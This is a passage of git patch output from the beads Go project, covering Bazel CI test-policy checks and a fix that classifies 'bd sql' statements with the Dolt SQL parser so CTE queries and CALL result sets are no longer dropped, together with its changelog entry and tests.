%s runs %q, want %q", c.workflow, c.job, step.Run, want) + } + if step.Env[c.env] != "1" { + t.Errorf("%s %s no longer sets %s=1; update %s:%s", c.workflow, c.job, c.env, c.pkg, c.target) + } + if os.Getenv("TEST_SRCDIR") != "" { + continue // scripts_test's runfiles hold no other package's BUILD + } + root := sourceRepoRoot(t) + rule := bazelRuleBlock(readPolicyFile(t, root, c.pkg+"/BUILD.bazel"), c.target) + for _, want := range []string{ + `srcs = ["//tools/bazel:go_test_manifest_shard.sh"],`, + `"$(rootpath //:` + c.script + `)",`, + `"` + c.binVar + `",`, + "shard_count = " + strconv.Itoa(shards) + ",", + `timeout = "eternal",`, + } { + if !strings.Contains(rule, want) { + t.Errorf("%s:%s does not contain %q (%s %s):\n%s", c.pkg, c.target, want, c.workflow, c.job, rule) + } + } + mm := shardManifestDefault.FindStringSubmatch(readPolicyFile(t, root, c.script)) + if mm == nil { + t.Fatalf("%s has no ${BEADS_TEST_SHARD_MANIFEST:-...} default manifest", c.script) + } + data := bazelAttrBlock(rule, "data") + for _, file := range []string{c.script, mm[1]} { + if !strings.Contains(data, `"//:`+file+`",`) { + t.Errorf("%s:%s data lacks //:%s (without the manifest every shard falls back to hashing):\n%s", c.pkg, c.target, file, data) + } + } + } + + conf := risk.job(t, "test-server-storage").step(t, "Test").Run + quoted := regexp.MustCompile(`(-test\.[a-z]+) '([^']*)'|(-test\.[a-z]+=\S+|-test\.v)`) + fields := strings.Fields(conf) + if len(fields) == 0 || fields[0] != "/tmp/dolt-conformance-test" { + t.Fatalf("pr-risk.yml test-server-storage no longer runs /tmp/dolt-conformance-test: %q", conf) + } + var wantArgs []string + for _, m := range quoted.FindAllStringSubmatch(conf, -1) { + if m[1] != "" { + wantArgs = append(wantArgs, `"`+m[1]+"="+strings.ReplaceAll(m[2], "$", "$$")+`",`) + } else { + wantArgs = append(wantArgs, `"`+m[3]+`",`) + } + } + if len(wantArgs) != 4 { + t.Fatalf("parsed %v from pr-risk.yml test-server-storage %q", wantArgs, conf) + } + + if os.Getenv("TEST_SRCDIR") == "" { + root := sourceRepoRoot(t) + doltBuild := readPolicyFile(t, root, "internal/storage/dolt/BUILD.bazel") + rule := bazelRuleBlock(doltBuild, "dolt_server_conformance_test") + for _, w := range append(wantArgs, `"$(rootpath :dolt_race_off)",`, `srcs = ["//tools/bazel:go_test_variant.sh"],`) { + if !strings.Contains(bazelAttrBlock(rule, "args")+rule, w) { + t.Errorf("dolt:dolt_server_conformance_test does not contain %q (pr-risk.yml test-server-storage):\n%s", w, rule) + } + } + if strings.Contains(rule, "BEADS_TEST_ENV_RUN_DOLT") { + t.Error("dolt:dolt_server_conformance_test sets BEADS_TEST_ENV_RUN_DOLT; test-server-storage does not") + } + if r := bazelRuleBlock(doltBuild, "dolt_race_off"); !strings.Contains(r, "go_test_race_off(") || !strings.Contains(r, `test = ":dolt_test",`) { + t.Errorf("dolt:dolt_race_off must be go_test_race_off of :dolt_test (the jobs' binary is not race):\n%s", r) + } + full := bazelRuleBlock(doltBuild, "dolt_server_full_test") + for _, w := range []string{`"$(rootpath :dolt_race_off)",`, `"BEADS_TEST_SUBPROCESS_BINARY": "$(rlocationpath :dolt_race_off)"`, `"//:go.mod",`} { + if !strings.Contains(full, w) { + t.Errorf("dolt:dolt_server_full_test lacks %q (SubprocessRunner reuses the test binary; ModuleRoot needs go.mod):\n%s", w, full) + } + } + proxied := bazelRuleBlock(readPolicyFile(t, root, "cmd/bd/BUILD.bazel"), "bd_proxied_test") + for _, w := range []string{`"$(rootpath :bd_test)",`, `"BEADS_TEST_BD_BINARY": "$(rlocationpath :bd_for_tests)"`} { + if !strings.Contains(proxied, w) { + t.Errorf("cmd/bd:bd_proxied_test lacks %q (race bd_test, non-race subprocess bd, like the jobs):\n%s", w, proxied) + } + } + for pkg, build := range map[string]string{"cmd/bd": readPolicyFile(t, root, "cmd/bd/BUILD.bazel"), "internal/storage/dolt": doltBuild} { + for _, err := range checkDoltServerRules(pkg, build) { + t.Error(err) + } + } + } + + // Each tier is a remote-only job of its own (the job if is pinned by + // TestBazelWorkflowIsAdvisory via bazelRemoteOnlyJobs): not a step of + // bazel-doltserver (which also runs locally, and whose job a gate may + // require) or of bazel-integration (which a caller may switch off, + // although the server tier is a PR-time tier). + workflow := readCIWorkflow(t, bazelWorkflowName) + for _, c := range []struct{ job, config, logs string }{ + {bazelProxiedJobName, "doltserver-proxied", "bazel-proxied-testlogs"}, + {bazelServerJobName, "doltserver-integration", "bazel-server-storage-testlogs"}, + } { + job := workflow.job(t, c.job) + if job.TimeoutMinutes == 0 || job.TimeoutMinutes > 30 { + t.Errorf("%s timeout-minutes = %d; it runs remotely only (longest shard ~2-8 min), keep it at most 30", c.job, job.TimeoutMinutes) + } + assertBazelTierStep(t, job, c.job, c.config) + if n := len(job.Steps); n != 5 { + t.Errorf("%s has %d steps, want checkout, setup-bazel, the tier, check_testcases.py, log upload", c.job, n) + } + logs := job.step(t, "Upload test logs") + if logs.If != "${{ failure() && steps.test.outcome != 'skipped' }}" || logs.With["name"] != c.logs || !strings.HasPrefix(logs.Uses, "actions/upload-artifact@") { + t.Errorf("%s test-log upload: if=%q name=%q uses=%q", c.job, logs.If, logs.With["name"], logs.Uses) + } + } + for name, j := range workflow.Jobs { + for _, step := range j.Steps { + proxied := strings.Contains(step.Run, "--config=doltserver-proxied") + server := strings.Contains(step.Run, "--config=doltserver-integration") + if (proxied && name != bazelProxiedJobName) || (server && name != bazelServerJobName) { + t.Errorf("%s step %q runs a dolt-server tier outside its own job", name, step.Name) + } + if (name == bazelIntegJobName || name == bazelDoltJobName) && (proxied || server || strings.Contains(step.Run, "doltserver-")) { + t.Errorf("%s step %q runs the proxied or server storage tier; each has its own job", name, step.Name) + } + } + } +} + // bazel-embedded replaces pr-risk.yml's embedded-Dolt tier: --config=embedded // runs the embedded variants race like the jobs' binaries, with the jobs' // parallelism; each shard variant runs its job's shard script with the job's diff --git a/tools/bazel/go_test_manifest_shard.sh b/tools/bazel/go_test_manifest_shard.sh index d991a0b23..473e53bf3 100755 --- a/tools/bazel/go_test_manifest_shard.sh +++ b/tools/bazel/go_test_manifest_shard.sh @@ -1,7 +1,8 @@ #!/usr/bin/env bash # Runs one Bazel shard of an existing go_test binary through a PR Risk shard -# script (.github/scripts/embedded-test-shard.sh and -# embedded-storage-test-shard.sh), so the Bazel target runs exactly the tests +# script (.github/scripts/embedded-test-shard.sh, +# embedded-storage-test-shard.sh, proxied-test-shard.sh, +# server-storage-test-shard.sh), so the Bazel target runs exactly the tests # the CI job with the same shard number does: the same discovery, the same # committed manifest and hash fallback, the same binary flags. Like # go_test_variant.sh it reuses the go_test's binary instead of compiling the @@ -14,7 +15,8 @@ # and where the script's source globs (cmd/bd/*_embedded_test.go, ...) # resolve. # : the variable the script reads the binary path from -# (BEADS_TEST_CMD_BINARY or BEADS_TEST_EMBEDDED_TEST_BINARY); set to an +# (BEADS_TEST_CMD_BINARY, BEADS_TEST_EMBEDDED_TEST_BINARY or +# BEADS_TEST_SERVER_TEST_BINARY); set to an # absolute path, since tests re-exec it from their package directory. # The remaining arguments (and any --test_arg) follow the script's own # binary flags. diff --git a/tools/bazel/test_env.sh b/tools/bazel/test_env.sh index 00fa809f2..dbaaecd1c 100755 --- a/tools/bazel/test_env.sh +++ b/tools/bazel/test_env.sh @@ -55,6 +55,14 @@ trap 'reap_root_processes 2>/dev/null || true; chmod -R u+w "$root" 2>/dev/null mkdir -p "$root/home" "$root/xdg-config" "$root/dolt-root" "$root/tmp" : >"$root/gitconfig" +# The global git identity of the CI jobs that run `git config --global +# user.name/user.email` before their tests (PR Risk's server-Dolt and +# proxied-server jobs): a target mirroring such a job sets +# BEADS_TEST_GIT_IDENTITY=1 in its env. Everything else keeps pr-core's empty +# global gitconfig. +if [[ "${BEADS_TEST_GIT_IDENTITY:-}" == 1 ]]; then + printf '[user]\n\tname = CI Bot\n\temail = ci@beads.test\n' >"$root/gitconfig" +fi # Dolt identity, as beads_test_env_enter sets with `dolt config --global`: # tests that shell out to dolt commit need an author. Written directly so the # wrapper does not depend on a dolt binary. The two *.disabled keys stop every From c4b1cb699df20a6ed41b07e3a0b05dec22c534d7 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 29 Sep 2026 01:08:10 -0700 Subject: [PATCH 215/624] fix(sql): classify bd sql statements with the SQL parser; never drop result sets (#6932) Proxied bd sql misclassified WITH [RECURSIVE] ... SELECT as a write and silently returned no rows; CALL result sets were dropped on both paths. Classify statements with the dolthub/vitess parser (internal/storage/sqlclass: Read/Write/Mixed); Mixed commits and renders any rows, so no path silently drops a result set. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 18 +++ MODULE.bazel | 2 +- cmd/bd/BUILD.bazel | 1 + cmd/bd/sql.go | 28 +++-- cmd/bd/sql_proxied_integration_test.go | 77 +++++++++++++ cmd/bd/sql_proxied_server.go | 124 +++++++++------------ go.mod | 2 +- internal/storage/BUILD.bazel | 1 + internal/storage/sqlclass/BUILD.bazel | 28 +++++ internal/storage/sqlclass/sqlclass.go | 88 +++++++++++++++ internal/storage/sqlclass/sqlclass_test.go | 67 +++++++++++ 11 files changed, 351 insertions(+), 85 deletions(-) create mode 100644 internal/storage/sqlclass/BUILD.bazel create mode 100644 internal/storage/sqlclass/sqlclass.go create mode 100644 internal/storage/sqlclass/sqlclass_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index c9e7144ea..9475b0bed 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,24 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Fixed +- **`bd sql` no longer drops the rows of CTE queries or CALL result sets** + ([#6932](https://github.com/gastownhall/beads/pull/6932)). In proxied-server + mode, `WITH name(cols) AS (...) SELECT ...` and `WITH RECURSIVE ...` queries + were misread as writes and printed `OK, 0 rows affected` with no error; they + now return their rows. Statements are now classified with the Dolt SQL + parser (shared by the proxied and direct paths): reads return rows, plain + writes (including CTE-prefixed `UPDATE`/`DELETE`) commit and report + `rows_affected`, and anything that may both write and return rows (`CALL`, + `EXPLAIN ANALYZE` of a write, `RETURNING`) or that the parser cannot + classify is committed and prints whatever rows it returns, so + `CALL DOLT_BRANCH(...)`-style result sets are rendered instead of discarded. + Visible changes for scripts: in direct server mode a multi-statement write, + or a single write statement the parser cannot classify, now prints `OK` / + `{"status":"ok"}` (as proxied mode already did) instead of + `OK, N rows affected` / `{"rows_affected":N}`; and `--readonly` now refuses + statements it cannot parse (for example `PRAGMA`) instead of treating them + as reads. + - **`notion.token` is kept out of the Dolt database** ([#6676](https://github.com/gastownhall/beads/issues/6676)). It was missing from the yaml-only key list that holds the other tracker secrets, so diff --git a/MODULE.bazel b/MODULE.bazel index 560e84e24..ff3e3cafb 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -50,7 +50,7 @@ go_deps.module_override( patches = ["//third_party/patches:gozstd_nocgo.patch"], path = "github.com/dolthub/gozstd", ) -use_repo(go_deps, "com_github_anthropics_anthropic_sdk_go", "com_github_burntsushi_toml", "com_github_cenkalti_backoff_v4", "com_github_charmbracelet_x_ansi", "com_github_data_dog_go_sqlmock", "com_github_dolthub_dolt_go", "com_github_dolthub_driver_v2", "com_github_dolthub_eventkit", "com_github_dolthub_go_mysql_server", "com_github_go_sql_driver_mysql", "com_github_google_uuid", "com_github_gowebpki_jcs", "com_github_invopop_jsonschema", "com_github_johanneskaufmann_html_to_markdown_v2", "com_github_mattn_go_sqlite3", "com_github_microcosm_cc_bluemonday", "com_github_oapi_codegen_oapi_codegen_v2", "com_github_olebedev_when", "com_github_spf13_cobra", "com_github_spf13_pflag", "com_github_spf13_viper", "com_github_stretchr_testify", "com_github_subosito_gotenv", "com_github_testcontainers_testcontainers_go", "com_github_testcontainers_testcontainers_go_modules_dolt", "com_github_yuin_goldmark", "in_gopkg_yaml_v3", "io_opentelemetry_go_otel", "io_opentelemetry_go_otel_exporters_otlp_otlpmetric_otlpmetrichttp", "io_opentelemetry_go_otel_exporters_stdout_stdoutmetric", "io_opentelemetry_go_otel_exporters_stdout_stdouttrace", "io_opentelemetry_go_otel_metric", "io_opentelemetry_go_otel_sdk", "io_opentelemetry_go_otel_sdk_metric", "io_opentelemetry_go_otel_trace", "io_rsc_script", "land_charm_glamour_v2", "land_charm_huh_v2", "land_charm_lipgloss_v2", "org_golang_x_mod", "org_golang_x_net", "org_golang_x_sync", "org_golang_x_sys", "org_golang_x_term") +use_repo(go_deps, "com_github_anthropics_anthropic_sdk_go", "com_github_burntsushi_toml", "com_github_cenkalti_backoff_v4", "com_github_charmbracelet_x_ansi", "com_github_data_dog_go_sqlmock", "com_github_dolthub_dolt_go", "com_github_dolthub_driver_v2", "com_github_dolthub_eventkit", "com_github_dolthub_go_mysql_server", "com_github_dolthub_vitess", "com_github_go_sql_driver_mysql", "com_github_google_uuid", "com_github_gowebpki_jcs", "com_github_invopop_jsonschema", "com_github_johanneskaufmann_html_to_markdown_v2", "com_github_mattn_go_sqlite3", "com_github_microcosm_cc_bluemonday", "com_github_oapi_codegen_oapi_codegen_v2", "com_github_olebedev_when", "com_github_spf13_cobra", "com_github_spf13_pflag", "com_github_spf13_viper", "com_github_stretchr_testify", "com_github_subosito_gotenv", "com_github_testcontainers_testcontainers_go", "com_github_testcontainers_testcontainers_go_modules_dolt", "com_github_yuin_goldmark", "in_gopkg_yaml_v3", "io_opentelemetry_go_otel", "io_opentelemetry_go_otel_exporters_otlp_otlpmetric_otlpmetrichttp", "io_opentelemetry_go_otel_exporters_stdout_stdoutmetric", "io_opentelemetry_go_otel_exporters_stdout_stdouttrace", "io_opentelemetry_go_otel_metric", "io_opentelemetry_go_otel_sdk", "io_opentelemetry_go_otel_sdk_metric", "io_opentelemetry_go_otel_trace", "io_rsc_script", "land_charm_glamour_v2", "land_charm_huh_v2", "land_charm_lipgloss_v2", "org_golang_x_mod", "org_golang_x_net", "org_golang_x_sync", "org_golang_x_sys", "org_golang_x_term") # Hermetic Dolt CLI for tests (tools/bazel/dolt.bzl pins the release to # scripts/ci/install-dolt.sh). //tools/bazel:dolt selects the repository for diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 35ecdb899..7e7bddeaa 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -404,6 +404,7 @@ go_library( "//internal/storage/issueops", "//internal/storage/kvkeys", "//internal/storage/schema", + "//internal/storage/sqlclass", "//internal/storage/uow", "//internal/storage/versioncontrolops", "//internal/telemetry", diff --git a/cmd/bd/sql.go b/cmd/bd/sql.go index 366072bc6..34dedfe09 100644 --- a/cmd/bd/sql.go +++ b/cmd/bd/sql.go @@ -9,6 +9,7 @@ import ( "github.com/spf13/cobra" "github.com/steveyegge/beads/internal/metrics" "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/sqlclass" ) var sqlCmd = &cobra.Command{ @@ -25,9 +26,11 @@ Examples: bd sql 'DELETE FROM dirty_issues WHERE issue_id = "bd-abc123"' bd sql --csv 'SELECT id, title, status FROM issues' -The query is passed directly to the database. SELECT queries return results as a -table (or JSON/CSV with --json/--csv). Non-SELECT queries (INSERT, UPDATE, DELETE) -report the number of rows affected. +The query is passed directly to the database. Reads (SELECT, WITH ... SELECT, +SHOW, EXPLAIN) return results as a table (or JSON/CSV with --json/--csv). Writes +(INSERT, UPDATE, DELETE, DDL) report the number of rows affected. Statements +that may both write and return rows, such as CALL, are committed and print any +rows they return (or "OK"). In proxied-server mode, multiple statements separated by ';' run as a single committed batch and report "OK", and --database runs the query against a @@ -71,15 +74,13 @@ WARNING: Direct database access bypasses the storage layer. Use with caution.`, ctx := rootCtx - trimmed := strings.TrimSpace(strings.ToUpper(query)) - isRead := strings.HasPrefix(trimmed, "SELECT") || - strings.HasPrefix(trimmed, "EXPLAIN") || - strings.HasPrefix(trimmed, "PRAGMA") || - strings.HasPrefix(trimmed, "SHOW") || - strings.HasPrefix(trimmed, "DESCRIBE") || - strings.HasPrefix(trimmed, "WITH") - - if isRead { + // Reads and statements that may return rows go through Query so a + // result set is always rendered; only plain writes use Exec. + kind := sqlclass.Classify(query) + if kind != sqlclass.Write { + if kind == sqlclass.Mixed { + CheckReadonly("sql") + } rows, err := db.QueryContext(ctx, query) if err != nil { return HandleErrorRespectJSON("query error: %v", err) @@ -90,6 +91,9 @@ WARNING: Direct database access bypasses the storage layer. Use with caution.`, if err != nil { return HandleErrorRespectJSON("getting columns: %v", err) } + if kind == sqlclass.Mixed && len(columns) == 0 { + return printSQLStatusOK() + } allRows := make([]map[string]interface{}, 0) for rows.Next() { diff --git a/cmd/bd/sql_proxied_integration_test.go b/cmd/bd/sql_proxied_integration_test.go index 89bb6ec0d..6dec9e7f0 100644 --- a/cmd/bd/sql_proxied_integration_test.go +++ b/cmd/bd/sql_proxied_integration_test.go @@ -179,3 +179,80 @@ func sqlValueEquals(v any, want float64) bool { return false } } + +// TestProxiedServerSQLStatementRouting pins how proxied `bd sql` routes +// statements that a prefix scan misreads: CTE reads must return their rows, +// CTE writes must commit, and a statement that writes and returns a result set +// must render that result set instead of reporting "0 rows affected". +func TestProxiedServerSQLStatementRouting(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + p := newSharedProxiedProject(t, bd, "sqlcte") + + one := bdProxiedCreate(t, bd, p.dir, "CTE issue one", "--type", "task", "--priority", "1") + two := bdProxiedCreate(t, bd, p.dir, "CTE issue two", "--type", "task", "--priority", "2") + + t.Run("cte_column_list_select_returns_rows", func(t *testing.T) { + rows := bdProxiedSQLJSON(t, bd, p.dir, + "WITH t(issue_id) AS (SELECT id FROM issues WHERE id = '"+one.ID+"') SELECT issue_id FROM t") + if len(rows) != 1 { + t.Fatalf("expected 1 row, got %d: %v", len(rows), rows) + } + if rows[0]["issue_id"] != one.ID { + t.Errorf("expected issue_id=%q, got %v", one.ID, rows[0]["issue_id"]) + } + }) + + t.Run("recursive_cte_select_returns_rows", func(t *testing.T) { + query := "WITH RECURSIVE n(i) AS (SELECT 1 UNION ALL SELECT i + 1 FROM n WHERE i < 3) SELECT i FROM n" + rows := bdProxiedSQLJSON(t, bd, p.dir, query) + if len(rows) != 3 { + t.Fatalf("expected 3 rows, got %d: %v", len(rows), rows) + } + stdout, _ := bdProxiedSQL(t, bd, p.dir, query) + if !strings.Contains(stdout, "(3 rows)") { + t.Errorf("expected '(3 rows)' in table output, got:\n%s", stdout) + } + }) + + t.Run("cte_write_commits", func(t *testing.T) { + stdout, _ := bdProxiedSQL(t, bd, p.dir, "--json", + "WITH t(issue_id) AS (SELECT id FROM issues WHERE id = '"+two.ID+"') "+ + "UPDATE issues SET priority = 0 WHERE id IN (SELECT issue_id FROM t)") + start := strings.Index(stdout, "{") + if start < 0 { + t.Fatalf("no JSON object in exec output:\n%s", stdout) + } + var res map[string]interface{} + if err := json.Unmarshal([]byte(stdout[start:]), &res); err != nil { + t.Fatalf("parse exec JSON: %v\nraw: %s", err, stdout[start:]) + } + if !sqlValueEquals(res["rows_affected"], 1) { + t.Errorf("expected rows_affected=1, got %v", res["rows_affected"]) + } + + db := openProxiedDB(t, p) + var priority int + if err := db.QueryRow("SELECT priority FROM issues WHERE id = ?", two.ID).Scan(&priority); err != nil { + t.Fatalf("query priority for %s: %v", two.ID, err) + } + if priority != 0 { + t.Errorf("expected committed priority=0, got %d", priority) + } + }) + + t.Run("call_renders_result_set", func(t *testing.T) { + rows := bdProxiedSQLJSON(t, bd, p.dir, "CALL DOLT_BRANCH('sql-routing-probe')") + if len(rows) != 1 { + t.Fatalf("expected the procedure's 1 status row, got %d: %v", len(rows), rows) + } + if _, ok := rows[0]["status"]; !ok { + t.Errorf("expected a status column, got %v", rows[0]) + } + branches := bdProxiedSQLJSON(t, bd, p.dir, "SELECT name FROM dolt_branches WHERE name = 'sql-routing-probe'") + if len(branches) != 1 { + t.Errorf("expected the CALL to have created branch sql-routing-probe, got %v", branches) + } + }) +} diff --git a/cmd/bd/sql_proxied_server.go b/cmd/bd/sql_proxied_server.go index 5e43622df..894c7e37c 100644 --- a/cmd/bd/sql_proxied_server.go +++ b/cmd/bd/sql_proxied_server.go @@ -8,6 +8,7 @@ import ( "strings" "github.com/steveyegge/beads/internal/storage/domain" + "github.com/steveyegge/beads/internal/storage/sqlclass" "github.com/steveyegge/beads/internal/storage/uow" ) @@ -16,9 +17,16 @@ func runSQLProxiedServer(ctx context.Context, query string, csvOutput bool) erro return HandleError("proxied-server UOW provider not initialized") } - multiStatement := isMultiStatementSQL(query) + if isMultiStatementSQL(query) { + CheckReadonly("sql") + if _, err := runSQLProxiedExec(ctx, query); err != nil { + return err + } + return printSQLStatusOK() + } - if !multiStatement && sqlQueryIsRead(query) { + switch sqlclass.Classify(query) { + case sqlclass.Read: result, err := uow.RunTxRead(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (*domain.RawSQLResult, error) { return uw.RawSQLUseCase().Query(ctx, query) }) @@ -26,10 +34,45 @@ func runSQLProxiedServer(ctx context.Context, query string, csvOutput bool) erro return HandleErrorRespectJSON("query error: %v", err) } return renderRawSQLResult(result, csvOutput) + + case sqlclass.Write: + CheckReadonly("sql") + affected, err := runSQLProxiedExec(ctx, query) + if err != nil { + return err + } + if jsonOutput { + return outputJSON(map[string]interface{}{ + "rows_affected": affected, + }) + } + fmt.Printf("OK, %d rows affected\n", affected) + return nil + + default: + // The statement may write and may return rows. Run it through Query + // inside a committing transaction so a result set is rendered rather + // than silently discarded, and any write is committed rather than + // rolled back with a read transaction. + CheckReadonly("sql") + result, err := uow.RunTxResult(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (*domain.RawSQLResult, string, error) { + result, err := uw.RawSQLUseCase().Query(ctx, query) + if err != nil { + return nil, "", err + } + return result, "bd sql: " + query, nil + }) + if err != nil { + return HandleErrorRespectJSON("query error: %v", err) + } + if len(result.Columns) == 0 { + return printSQLStatusOK() + } + return renderRawSQLResult(result, csvOutput) } +} - CheckReadonly("sql") - +func runSQLProxiedExec(ctx context.Context, query string) (int64, error) { affected, err := uow.RunTxResult(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (int64, string, error) { affected, err := uw.RawSQLUseCase().Exec(ctx, query) if err != nil { @@ -38,26 +81,18 @@ func runSQLProxiedServer(ctx context.Context, query string, csvOutput bool) erro return affected, "bd sql: " + query, nil }) if err != nil { - return HandleErrorRespectJSON("exec error: %v", err) - } - - if multiStatement { - if jsonOutput { - return outputJSON(map[string]interface{}{ - "status": "ok", - }) - } - fmt.Println("OK") - return nil + return 0, HandleErrorRespectJSON("exec error: %v", err) } + return affected, nil +} +func printSQLStatusOK() error { if jsonOutput { return outputJSON(map[string]interface{}{ - "rows_affected": affected, + "status": "ok", }) } - - fmt.Printf("OK, %d rows affected\n", affected) + fmt.Println("OK") return nil } @@ -134,59 +169,6 @@ func topLevelStatementCount(query string) int { return count } -func sqlQueryIsRead(query string) bool { - trimmed := strings.TrimSpace(strings.ToUpper(query)) - switch { - case strings.HasPrefix(trimmed, "SELECT"), - strings.HasPrefix(trimmed, "EXPLAIN"), - strings.HasPrefix(trimmed, "PRAGMA"), - strings.HasPrefix(trimmed, "SHOW"), - strings.HasPrefix(trimmed, "DESCRIBE"): - return true - case strings.HasPrefix(trimmed, "WITH"): - return withOuterStatementIsRead(trimmed) - default: - return false - } -} - -func withOuterStatementIsRead(upperTrimmed string) bool { - depth := 0 - var quote byte - closedCTE := false - for i := 0; i < len(upperTrimmed); i++ { - c := upperTrimmed[i] - if quote != 0 { - if c == quote { - quote = 0 - } - continue - } - switch c { - case '\'', '"', '`': - quote = c - case '(': - depth++ - case ')': - depth-- - if depth == 0 { - closedCTE = true - } - case ' ', '\t', '\n', '\r', ',': - if c == ',' && depth == 0 { - closedCTE = false - } - default: - if depth == 0 && closedCTE { - rest := strings.TrimLeft(upperTrimmed[i:], " \t\n\r") - return strings.HasPrefix(rest, "SELECT") || - strings.HasPrefix(rest, "EXPLAIN") - } - } - } - return true -} - func renderRawSQLResult(result *domain.RawSQLResult, csvOutput bool) error { columns := result.Columns diff --git a/go.mod b/go.mod index df54d03a2..40c6d484e 100644 --- a/go.mod +++ b/go.mod @@ -154,7 +154,7 @@ require ( github.com/dolthub/gozstd v0.0.0-20240423170813-23a2903bca63 // indirect github.com/dolthub/ishell v0.0.0-20260414231531-5f031e3e9037 // indirect github.com/dolthub/jsonpath v0.0.2-0.20240227200619-19675ab05c71 // indirect - github.com/dolthub/vitess v0.0.0-20260728212736-0542037326d7 // indirect + github.com/dolthub/vitess v0.0.0-20260728212736-0542037326d7 github.com/dustin/go-humanize v1.0.1 // indirect github.com/ebitengine/purego v0.10.0 // indirect github.com/edsrzf/mmap-go v1.2.0 // indirect diff --git a/internal/storage/BUILD.bazel b/internal/storage/BUILD.bazel index ad5df66e8..24fb1f99b 100644 --- a/internal/storage/BUILD.bazel +++ b/internal/storage/BUILD.bazel @@ -160,6 +160,7 @@ filegroup( "//internal/storage/rowid:go_srcs", "//internal/storage/schema:go_srcs", "//internal/storage/sqlbuild:go_srcs", + "//internal/storage/sqlclass:go_srcs", "//internal/storage/storagecontract:go_srcs", "//internal/storage/uow:go_srcs", "//internal/storage/versioncontrolops:go_srcs", diff --git a/internal/storage/sqlclass/BUILD.bazel b/internal/storage/sqlclass/BUILD.bazel new file mode 100644 index 000000000..db106a867 --- /dev/null +++ b/internal/storage/sqlclass/BUILD.bazel @@ -0,0 +1,28 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "sqlclass", + srcs = ["sqlclass.go"], + importpath = "github.com/steveyegge/beads/internal/storage/sqlclass", + visibility = ["//:__subpackages__"], + deps = ["@com_github_dolthub_vitess//go/vt/sqlparser"], +) + +go_test( + name = "sqlclass_test", + srcs = ["sqlclass_test.go"], + embed = [":sqlclass"], +) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/sqlclass/sqlclass.go b/internal/storage/sqlclass/sqlclass.go new file mode 100644 index 000000000..1c677e33d --- /dev/null +++ b/internal/storage/sqlclass/sqlclass.go @@ -0,0 +1,88 @@ +// Package sqlclass classifies raw SQL statements for `bd sql` with the same +// MySQL grammar the Dolt server parses, so callers can route a statement to a +// read transaction, a committing exec, or a committing query without prefix +// scanning. +package sqlclass + +import ( + "github.com/dolthub/vitess/go/vt/sqlparser" +) + +// Kind says how a single SQL statement must be executed so that writes are +// committed and result sets are never dropped. +type Kind int + +const ( + // Read changes nothing and returns a result set: run it in a read + // transaction and render its rows. + Read Kind = iota + // Write changes data and returns no result set: execute it in a + // committing transaction and report the rows affected. + Write + // Mixed may change data and may also return a result set (CALL, EXPLAIN + // ANALYZE of a write, RETURNING, or anything the parser cannot classify): + // run it in a committing transaction and render any rows it returns. + Mixed +) + +// String returns the kind's name for test and diagnostic output. +func (k Kind) String() string { + switch k { + case Read: + return "read" + case Write: + return "write" + default: + return "mixed" + } +} + +// Classify classifies a single SQL statement by its main statement, so CTEs +// (WITH [RECURSIVE] name(cols) AS (...)), comments, and string literals that +// contain keywords do not affect the result. Input the parser rejects is +// Mixed: it may still be valid for the server, and Mixed never discards rows +// or rolls back writes. +func Classify(query string) Kind { + stmt, err := sqlparser.Parse(query) + if err != nil || stmt == nil { + return Mixed + } + return classify(stmt) +} + +func classify(stmt sqlparser.Statement) Kind { + switch s := stmt.(type) { + case *sqlparser.Select: + if s.Into != nil { + return Write + } + return Read + case *sqlparser.SetOp, *sqlparser.Show, *sqlparser.OtherRead: + return Read + case *sqlparser.Explain: + if !s.Analyze { + return Read + } + if s.Statement != nil && classify(s.Statement) == Read { + return Read + } + return Mixed + case *sqlparser.Insert: + return writeUnlessReturning(len(s.Returning)) + case *sqlparser.Update: + return writeUnlessReturning(len(s.Returning)) + case *sqlparser.Delete: + return writeUnlessReturning(len(s.Returning)) + case *sqlparser.DDL, *sqlparser.AlterTable, *sqlparser.DBDDL, *sqlparser.Set, *sqlparser.Use: + return Write + default: + return Mixed + } +} + +func writeUnlessReturning(returning int) Kind { + if returning > 0 { + return Mixed + } + return Write +} diff --git a/internal/storage/sqlclass/sqlclass_test.go b/internal/storage/sqlclass/sqlclass_test.go new file mode 100644 index 000000000..4d275c8d8 --- /dev/null +++ b/internal/storage/sqlclass/sqlclass_test.go @@ -0,0 +1,67 @@ +package sqlclass + +import "testing" + +func TestClassify(t *testing.T) { + cases := []struct { + name string + query string + want Kind + }{ + {"select", "SELECT 1", Read}, + {"lowercase select", " select id from issues", Read}, + {"union", "SELECT 1 UNION SELECT 2", Read}, + {"parenthesized union", "(SELECT 1) UNION (SELECT 2)", Read}, + {"show", "SHOW TABLES", Read}, + {"describe", "DESCRIBE issues", Read}, + {"explain select", "EXPLAIN SELECT * FROM issues", Read}, + {"leading block comment", "/* note */ SELECT 1", Read}, + {"leading line comment", "-- note\nSELECT 1", Read}, + + // CTE reads: a prefix scanner that treats the column list after the CTE + // name as the CTE body sees "AS" as the main verb and calls it a write. + {"cte select", "WITH t AS (SELECT 1 AS n) SELECT n FROM t", Read}, + {"cte column list", "WITH t(n) AS (SELECT 1) SELECT n FROM t", Read}, + {"recursive cte column list", "WITH RECURSIVE n(i) AS (SELECT 1 UNION ALL SELECT i + 1 FROM n WHERE i < 3) SELECT i FROM n", Read}, + {"recursive cte", "WITH RECURSIVE t AS (SELECT 1 AS i UNION ALL SELECT i + 1 FROM t 